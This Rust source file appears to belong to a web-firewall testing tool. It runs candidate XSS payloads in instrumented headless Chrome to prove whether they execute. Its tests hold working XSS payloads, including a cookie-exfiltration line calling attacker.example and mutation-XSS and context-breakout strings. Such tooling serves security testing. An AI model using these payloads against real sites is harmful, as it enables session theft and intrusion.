use std::io::{Read as _, Write as _};
use std::net::{Ipv4Addr, TcpListener};
use std::path::PathBuf;
use std::process::{Command, Stdio};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant, SystemTime};
use crate::{ExecutionProof, SinkHit};
const CHROME_CANDIDATES: &[&str] = &[
"google-chrome",
"google-chrome-stable",
"chromium",
"chromium-browser",
"chrome",
];
#[must_use]
pub fn chrome_binary() -> Option<String> {
if let Ok(bin) = std::env::var("WAFRIFT_CHROME_BIN") {
let bin = bin.trim();
if !bin.is_empty() {
return Some(bin.to_string());
}
}
CHROME_CANDIDATES
.iter()
.find(|c| which_on_path(c).is_some())
.map(|c| (*c).to_string())
}
#[must_use]
pub fn available() -> bool {
chrome_binary().is_some()
}
fn which_on_path(cmd: &str) -> Option<PathBuf> {
let direct = PathBuf::from(cmd);
if direct.is_absolute() {
return is_executable(&direct).then_some(direct);
}
let path = std::env::var_os("PATH")?;
std::env::split_paths(&path)
.map(|dir| dir.join(cmd))
.find(|p| is_executable(p))
}
#[cfg(unix)]
fn is_executable(p: &std::path::Path) -> bool {
use std::os::unix::fs::PermissionsExt;
std::fs::metadata(p).is_ok_and(|m| m.is_file() && m.permissions().mode() & 0o111 != 0)
}
#[cfg(not(unix))]
fn is_executable(p: &std::path::Path) -> bool {
p.is_file()
}
const CHROME_TIMEOUT: Duration = Duration::from_secs(15);
#[must_use]
pub fn detonate_html_chrome(body: &str, _url: &str) -> ExecutionProof {
let Some(chrome) = chrome_binary() else {
return ExecutionProof::failed("no Chrome/Chromium binary available");
};
detonate_with_binary(&chrome, body)
}
#[must_use]
pub fn detonate_with_binary(chrome: &str, body: &str) -> ExecutionProof {
let harness = build_harness(body);
let server = match HarnessServer::start(harness) {
Ok(server) => server,
Err(e) => {
return ExecutionProof::failed(format!(
"harness HTTP server failed to start on loopback: {e}"
));
}
};
let profile = TempProfile::new();
let url = server.url();
let mut cmd = Command::new(chrome);
cmd.args([
"--headless=new",
"--no-sandbox",
"--no-zygote",
"--disable-gpu",
"--disable-dev-shm-usage",
"--disable-extensions",
"--disable-background-networking",
"--no-first-run",
"--no-default-browser-check",
"--virtual-time-budget=3500",
"--run-all-compositor-stages-before-draw",
"--dump-dom",
])
.arg(format!("--user-data-dir={}", profile.path.display()))
.arg(&url)
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::null());
set_own_process_group(&mut cmd);
let Some(stdout) = run_with_timeout(cmd, CHROME_TIMEOUT) else {
return ExecutionProof::failed(format!(
"Chrome failed to launch or timed out after {}s (binary: {chrome})",
CHROME_TIMEOUT.as_secs()
));
};
let dom = String::from_utf8_lossy(&stdout);
if !dom.contains("<html") && !dom.contains("<HTML") {
return ExecutionProof::failed(format!(
"Chrome DOM dump did not contain valid <html> document (binary: {chrome})"
));
}
let sinks = parse_sinks(&dom);
proof_from_sinks(sinks)
}
fn proof_from_sinks(sinks: Vec<SinkHit>) -> ExecutionProof {
let mut proof = ExecutionProof {
executed: !sinks.is_empty(),
fragments_run: if sinks.is_empty() { 0 } else { 1 },
..Default::default()
};
if let Some(d) = sinks
.iter()
.find(|s| matches!(s.kind.as_str(), "alert" | "confirm" | "prompt"))
.or_else(|| sinks.first())
{
proof.sink = Some(d.kind.clone());
proof.message = Some(d.detail.clone());
}
proof.sinks = sinks;
proof
}
const INSTRUMENTATION: &str = r#"<script>
(function(){
var H=document.documentElement, A="data-x";
function REC(k,d){
var cur=H.getAttribute(A); var arr=cur?JSON.parse(cur):[];
arr.push([k,String(d)]); H.setAttribute(A, JSON.stringify(arr));
}
window.alert=function(v){REC("alert",v)};
window.confirm=function(v){REC("confirm",v);return true};
window.prompt=function(v){REC("prompt",v);return ""};
window.fetch=function(u){REC("network",u);return Promise.resolve({ok:true,status:200,statusText:"OK",url:String(u),redirected:false,type:"basic",headers:{get:function(){return null},has:function(){return false}},clone:function(){return this},text:function(){return Promise.resolve("")},json:function(){return Promise.resolve({})},blob:function(){return Promise.resolve(null)},arrayBuffer:function(){return Promise.resolve(new ArrayBuffer(0))}})};
if(navigator.sendBeacon) navigator.sendBeacon=function(u){REC("network",u);return true};
try{ var _o=XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open=function(m,u){REC("network",u);return _o.apply(this,arguments)}; }catch(e){}
var _e=window.eval; window.eval=function(c){REC("eval",c);try{return _e(c)}catch(x){}};
try{ var _F=window.Function; window.Function=function(){REC("eval",Array.prototype.join.call(arguments,","));return _F.apply(this,arguments)}; }catch(e){}
document.write=function(s){REC("dom-write",s)};
document.writeln=function(s){REC("dom-write",s)};
window.open=function(u){REC("popup",u);return {closed:false,focus:function(){},blur:function(){},close:function(){},postMessage:function(){},document:{write:function(s){REC("dom-write",s)},writeln:function(s){REC("dom-write",s)}},location:{href:String(u),assign:function(v){REC("redirect",v)},replace:function(v){REC("redirect",v)}}};};
})();
</script>"#;
fn build_harness(body: &str) -> String {
let b64 = base64_encode(body.as_bytes());
format!(
"<!doctype html><html><head>{INSTRUMENTATION}</head><body>\n\
<div id=\"__static\">{body}</div>\n\
<div id=\"__sink\"></div>\n\
<div id=\"__rt\"></div>\n\
<script>\n\
(function(){{\n\
try{{var p=atob(\"{b64}\");}}catch(e){{return;}}\n\
// The static copy (in __static) is the only one allowed to auto-focus;\n\
// duplicate autofocus elements in the mutation-sink clones can prevent\n\
// Chrome from focusing any of them.\n\
try{{p = p.replace(/\\sautofocus\\b/g, \"\");}}catch(e){{}}\n\
try{{document.getElementById(\"__sink\").innerHTML=p;}}catch(e){{}}\n\
try{{document.getElementById(\"__sink\").insertAdjacentHTML(\"beforeend\",p);}}catch(e){{}}\n\
try{{\n\
var rt=document.getElementById(\"__rt\"); rt.innerHTML=p;\n\
rt.innerHTML=rt.innerHTML;\n\
rt.innerHTML=rt.innerHTML;\n\
}}catch(e){{}}\n\
// Explicitly focus the first remaining autofocus element so headless\n\
// Chrome does not silently drop the onfocus handler due to contention.\n\
try{{var el=document.querySelector(\"[autofocus]\"); if(el) el.focus();}}catch(e){{}}\n\
}})();\n\
</script>\n\
</body></html>\n"
)
}
fn parse_sinks(dumped_dom: &str) -> Vec<SinkHit> {
let Some(raw) = extract_data_x(dumped_dom) else {
return Vec::new();
};
let json = html_unescape(&raw);
let Ok(pairs) = serde_json::from_str::<Vec<(String, String)>>(&json) else {
return Vec::new();
};
let mut seen = std::collections::HashSet::new();
pairs
.into_iter()
.filter(|(k, d)| seen.insert((k.clone(), d.clone())))
.map(|(kind, detail)| SinkHit {
kind,
detail: crate::truncate(&detail),
})
.collect()
}
fn extract_data_x(dom: &str) -> Option<String> {
const KEY: &str = "data-x=\"";
let html_pos = dom.find("<html")?;
let after_html = &dom[html_pos..];
let tag_end = after_html.find('>')?;
let html_tag = &after_html[..tag_end];
let start = html_tag.find(KEY)? + KEY.len();
let rest = &html_tag[start..];
let end = rest.find('"')?;
Some(rest[..end].to_string())
}
use crate::html_unescape;
#[cfg(unix)]
fn set_own_process_group(cmd: &mut Command) {
use std::os::unix::process::CommandExt;
cmd.process_group(0);
}
#[cfg(not(unix))]
fn set_own_process_group(_cmd: &mut Command) {}
#[cfg(unix)]
fn kill_process_group(pid: u32) {
unsafe {
libc_kill(-(pid as i32), 9);
}
}
#[cfg(not(unix))]
fn kill_process_group(_pid: u32) {}
#[cfg(unix)]
unsafe extern "C" {
#[link_name = "kill"]
fn libc_kill(pid: i32, sig: i32) -> i32;
}
fn run_with_timeout(mut cmd: Command, timeout: Duration) -> Option<Vec<u8>> {
let mut child = cmd.spawn().ok()?;
let pid = child.id();
let reader = child.stdout.take().map(|mut out| {
std::thread::spawn(move || {
let mut buf = Vec::new();
let _ = std::io::Read::read_to_end(&mut out, &mut buf);
buf
})
});
let deadline = Instant::now() + timeout;
let exited = loop {
match child.try_wait() {
Ok(Some(status)) => break status.success(),
Ok(None) => {
if Instant::now() >= deadline {
let _ = child.kill();
let _ = child.wait();
break false;
}
std::thread::sleep(Duration::from_millis(25));
}
Err(_) => break false,
}
};
kill_process_group(pid);
let captured = reader.and_then(|handle| handle.join().ok());
if exited { captured } else { None }
}
struct HarnessServer {
port: u16,
stop: Arc<AtomicBool>,
thread: Option<std::thread::JoinHandle<()>>,
}
impl HarnessServer {
fn start(harness: String) -> std::io::Result<Self> {
let listener = TcpListener::bind((Ipv4Addr::LOCALHOST, 0))?;
listener.set_nonblocking(true)?;
let port = listener.local_addr()?.port();
let stop = Arc::new(AtomicBool::new(false));
let stop_thread = Arc::clone(&stop);
let body = harness.into_bytes();
let mut response = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\
Content-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
)
.into_bytes();
response.extend_from_slice(&body);
let thread = std::thread::spawn(move || {
while !stop_thread.load(Ordering::Relaxed) {
match listener.accept() {
Ok((mut sock, _)) => {
let _ = sock.set_nonblocking(false);
let _ = sock.set_read_timeout(Some(Duration::from_millis(200)));
let mut buf = [0u8; 2048];
let _ = sock.read(&mut buf);
let _ = sock.write_all(&response);
let _ = sock.flush();
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(2));
}
Err(_) => break,
}
}
});
Ok(Self {
port,
stop,
thread: Some(thread),
})
}
fn url(&self) -> String {
format!("http://127.0.0.1:{}/", self.port)
}
}
impl Drop for HarnessServer {
fn drop(&mut self) {
self.stop.store(true, Ordering::Relaxed);
if let Some(t) = self.thread.take() {
let _ = t.join();
}
}
}
struct TempProfile {
path: PathBuf,
}
impl TempProfile {
fn new() -> Self {
let base = unique_temp_path();
let path = base.with_extension("profile");
let _ = std::fs::create_dir_all(&path);
Self { path }
}
}
impl Drop for TempProfile {
fn drop(&mut self) {
let _ = std::fs::remove_dir_all(&self.path);
}
}
fn unique_temp_path() -> PathBuf {
static COUNTER: AtomicU64 = AtomicU64::new(0);
let n = COUNTER.fetch_add(1, Ordering::Relaxed);
let nanos = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0);
let pid = std::process::id();
std::env::temp_dir().join(format!("detonate-{pid}-{nanos}-{n}.html"))
}
fn base64_encode(input: &[u8]) -> String {
const T: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
let mut out = String::with_capacity(input.len().div_ceil(3) * 4);
for chunk in input.chunks(3) {
let b0 = chunk[0] as u32;
let b1 = *chunk.get(1).unwrap_or(&0) as u32;
let b2 = *chunk.get(2).unwrap_or(&0) as u32;
let n = (b0 << 16) | (b1 << 8) | b2;
out.push(T[(n >> 18 & 63) as usize] as char);
out.push(T[(n >> 12 & 63) as usize] as char);
out.push(if chunk.len() > 1 { T[(n >> 6 & 63) as usize] as char } else { '=' });
out.push(if chunk.len() > 2 { T[(n & 63) as usize] as char } else { '=' });
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn base64_matches_known_vectors() {
assert_eq!(base64_encode(b""), "");
assert_eq!(base64_encode(b"f"), "Zg==");
assert_eq!(base64_encode(b"fo"), "Zm8=");
assert_eq!(base64_encode(b"foo"), "Zm9v");
assert_eq!(base64_encode(b"foob"), "Zm9vYg==");
assert_eq!(base64_encode(b"fooba"), "Zm9vYmE=");
assert_eq!(base64_encode(b"foobar"), "Zm9vYmFy");
}
#[test]
fn base64_roundtrips_payload_bytes() {
let p = r#"<svg onload=alert('héllo "1"')>"#;
let enc = base64_encode(p.as_bytes());
assert!(enc.chars().all(|c| c.is_ascii_alphanumeric() || "+/=".contains(c)));
}
#[test]
fn extract_data_x_reads_attribute() {
let dom = r#"<html data-x="[["alert","1"]]"><head></head></html>"#;
assert_eq!(extract_data_x(dom).as_deref(), Some("[["alert","1"]]"));
}
#[test]
fn extract_data_x_absent_is_none() {
assert_eq!(extract_data_x("<html><head></head></html>"), None);
}
#[test]
fn extract_data_x_ignores_reflected_body_attribute() {
let dom = r#"<html><head></head><body><div data-x="[["alert","1"]]">reflected</div></body></html>"#;
assert_eq!(extract_data_x(dom), None);
assert!(parse_sinks(dom).is_empty(), "reflected canary must not count as a sink hit");
}
#[test]
fn extract_data_x_prefers_html_tag_over_reflected_body() {
let dom = r#"<html data-x="[["alert","real"]]"><body><span data-x="[["alert","fake"]]"></span></body></html>"#;
assert_eq!(
extract_data_x(dom).as_deref(),
Some("[["alert","real"]]")
);
let sinks = parse_sinks(dom);
assert_eq!(sinks.len(), 1);
assert_eq!(sinks[0].detail, "real");
}
#[test]
fn html_unescape_decodes_dump_dom_entities() {
assert_eq!(html_unescape("[["alert","1"]]"), r#"[["alert","1"]]"#);
assert_eq!(html_unescape("<svg> & x"), "<svg> & x");
}
#[test]
fn parse_sinks_decodes_dumped_dom() {
let dom = r#"<html data-x="[["alert","1"],["network","//evil/"]]"><body></body></html>"#;
let sinks = parse_sinks(dom);
assert_eq!(sinks.len(), 2);
assert_eq!(sinks[0].kind, "alert");
assert_eq!(sinks[0].detail, "1");
assert_eq!(sinks[1].kind, "network");
assert_eq!(sinks[1].detail, "//evil/");
}
#[cfg(unix)]
#[test]
fn run_with_timeout_drains_output_larger_than_pipe_buffer() {
const N: usize = 200_000;
let mut cmd = Command::new("sh");
cmd.arg("-c")
.arg(format!("tr '\\0' 'a' < /dev/zero | head -c {N}"))
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::null());
set_own_process_group(&mut cmd);
let out = run_with_timeout(cmd, Duration::from_secs(10))
.expect("large stdout must be captured, not deadlocked into a timeout");
assert_eq!(out.len(), N, "entire pipe-buffer-exceeding output captured");
assert!(out.iter().all(|&b| b == b'a'));
}
#[test]
fn parse_sinks_dedups_identical_hits() {
let dom = r#"<html data-x="[["alert","1"],["alert","1"]]"></html>"#;
assert_eq!(parse_sinks(dom).len(), 1);
}
#[test]
fn parse_sinks_empty_without_attribute() {
assert!(parse_sinks("<html></html>").is_empty());
}
#[test]
fn proof_prefers_dialog_as_primary() {
let sinks = vec![
SinkHit { kind: "network".into(), detail: "//evil/".into() },
SinkHit { kind: "alert".into(), detail: "1".into() },
];
let p = proof_from_sinks(sinks);
assert!(p.executed);
assert_eq!(p.sink.as_deref(), Some("alert"));
assert!(p.proves("1"), "dialog must be primary so proves() works: {p:?}");
}
#[test]
fn proof_empty_for_no_sinks() {
let p = proof_from_sinks(Vec::new());
assert!(!p.executed && p.sink.is_none() && p.sinks.is_empty());
}
#[test]
fn harness_embeds_both_paths() {
let h = build_harness("<svg onload=alert(1)>");
assert!(h.contains("__static"), "served-document path present");
assert!(h.contains("__sink"), "mutation-sink path present");
assert!(h.contains("innerHTML"), "innerHTML mutation present");
assert!(h.contains("insertAdjacentHTML"), "insertion path present");
assert!(h.contains("data-x"), "instrumentation present");
}
fn chrome_or_skip() -> Option<String> {
match chrome_binary() {
Some(b) => Some(b),
None => {
eprintln!("SKIP: no chrome binary (set WAFRIFT_CHROME_BIN to run browser tests)");
None
}
}
}
#[test]
fn chrome_proves_static_alert() {
let Some(c) = chrome_or_skip() else { return };
let p = detonate_with_binary(&c, "<script>alert(1)</script>");
assert!(p.executed && p.proves("1"), "served-doc <script> must fire: {p:?}");
}
#[test]
fn detonation_that_cannot_launch_reports_failure_not_silent_safe() {
let p = detonate_with_binary(
"/nonexistent/definitely/not/a/real/chrome",
"<script>alert(1)</script>",
);
assert!(
p.failed_to_run(),
"an infra failure must set `error`, got {p:?}"
);
let msg = p.error.as_deref().unwrap();
assert!(
msg.contains("launch") || msg.contains("timed out"),
"error must name the launch/timeout cause, got {msg:?}"
);
assert!(!p.executed, "a failed run must not claim execution");
assert!(!p.proves("1"), "a failed run must not prove exploitation");
}
#[test]
fn chrome_fails_loudly_on_process_exit_failure() {
#[cfg(unix)]
{
let p = detonate_with_binary("false", "<script>alert(1)</script>");
assert!(p.failed_to_run(), "process failure status must set error, got {p:?}");
assert!(!p.executed);
}
}
#[test]
fn extract_data_x_rejects_dom_without_html() {
assert_eq!(extract_data_x("net::ERR_CONNECTION_REFUSED"), None);
assert_eq!(extract_data_x(""), None);
}
#[test]
fn chrome_proves_svg_onload() {
let Some(c) = chrome_or_skip() else { return };
let p = detonate_with_binary(&c, "<svg onload=alert(1)>");
assert!(p.proves("1"), "{p:?}");
}
#[test]
fn chrome_clean_on_inert_reflection() {
let Some(c) = chrome_or_skip() else { return };
let p = detonate_with_binary(&c, "<div><script>alert(1)</script></div>");
assert!(!p.executed, "inert reflection must not execute: {p:?}");
assert!(p.sinks.is_empty(), "{p:?}");
}
#[test]
fn chrome_fires_mxss_noscript_that_jsdet_cannot() {
let Some(c) = chrome_or_skip() else { return };
let p = detonate_with_binary(&c, "<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">");
assert!(p.executed && p.proves("1"), "mXSS noscript must fire in chrome: {p:?}");
}
#[test]
fn chrome_proves_network_exfil() {
let Some(c) = chrome_or_skip() else { return };
let p = detonate_with_binary(&c, "<svg onload=fetch('//attacker.example/?c='+document.cookie)>");
assert!(p.executed, "{p:?}");
assert!(p.sinks.iter().any(|s| s.kind == "network"), "network sink: {p:?}");
assert!(
p.sinks.iter().any(|s| s.detail.contains("attacker.example")),
"exfil host captured: {p:?}"
);
}
#[test]
fn chrome_fetch_override_resolves_so_chain_continues() {
let Some(c) = chrome_or_skip() else { return };
let p = detonate_with_binary(
&c,
"<svg onload=\"fetch('//attacker.example/x').then(function(){alert('after-fetch')})\">",
);
assert!(p.executed, "{p:?}");
assert!(
p.sinks.iter().any(|s| s.kind == "network"),
"the fetch itself must still record a network sink: {p:?}"
);
assert!(
p.sinks
.iter()
.any(|s| s.kind == "alert" && s.detail.contains("after-fetch")),
"the .then continuation after fetch must run and reach the alert sink \
(proves fetch no longer hangs the chain): {p:?}"
);
}
#[test]
fn chrome_window_open_override_returns_usable_window() {
let Some(c) = chrome_or_skip() else { return };
let p = detonate_with_binary(
&c,
"<svg onload=\"window.open('//attacker.example/p').focus();alert('after-open')\">",
);
assert!(p.executed, "{p:?}");
assert!(
p.sinks.iter().any(|s| s.kind == "popup"),
"window.open must still record a popup sink: {p:?}"
);
assert!(
p.sinks
.iter()
.any(|s| s.kind == "alert" && s.detail.contains("after-open")),
"code after window.open(...).focus() must still run (proves the mock \
window is usable, no TypeError abort): {p:?}"
);
}
#[test]
fn chrome_proves_attribute_context_breakout() {
let Some(c) = chrome_or_skip() else { return };
let body = r#"<input type="text" value=""><svg onload=alert(1)>">"#;
let p = detonate_with_binary(&c, body);
assert!(p.proves("1"), "attribute breakout must fire: {p:?}");
}
#[test]
fn chrome_clean_on_attribute_no_breakout() {
let Some(c) = chrome_or_skip() else { return };
let body = r#"<input type="text" value="harmless onfocus=alert(1)">"#;
let p = detonate_with_binary(&c, body);
assert!(!p.executed, "contained attribute value must not execute: {p:?}");
}
#[test]
fn chrome_proves_js_string_context_breakout() {
let Some(c) = chrome_or_skip() else { return };
let body = r#"<script>var t="";alert(1);//";</script>"#;
let p = detonate_with_binary(&c, body);
assert!(p.proves("1"), "JS-string breakout must fire: {p:?}");
}
#[test]
fn chrome_clean_on_js_string_escaped() {
let Some(c) = chrome_or_skip() else { return };
let body = r#"<script>var t="\";alert(1);//";</script>"#;
let p = detonate_with_binary(&c, body);
assert!(!p.executed, "escaped JS string must not execute: {p:?}");
}
#[test]
fn chrome_inert_on_double_encoded_without_second_decode() {
let Some(c) = chrome_or_skip() else { return };
let body = "<div>%253Csvg%2520onload%253Dalert(1)%253E</div>";
let p = detonate_with_binary(&c, body);
assert!(!p.executed, "double-encoded text must stay inert in the browser: {p:?}");
}
}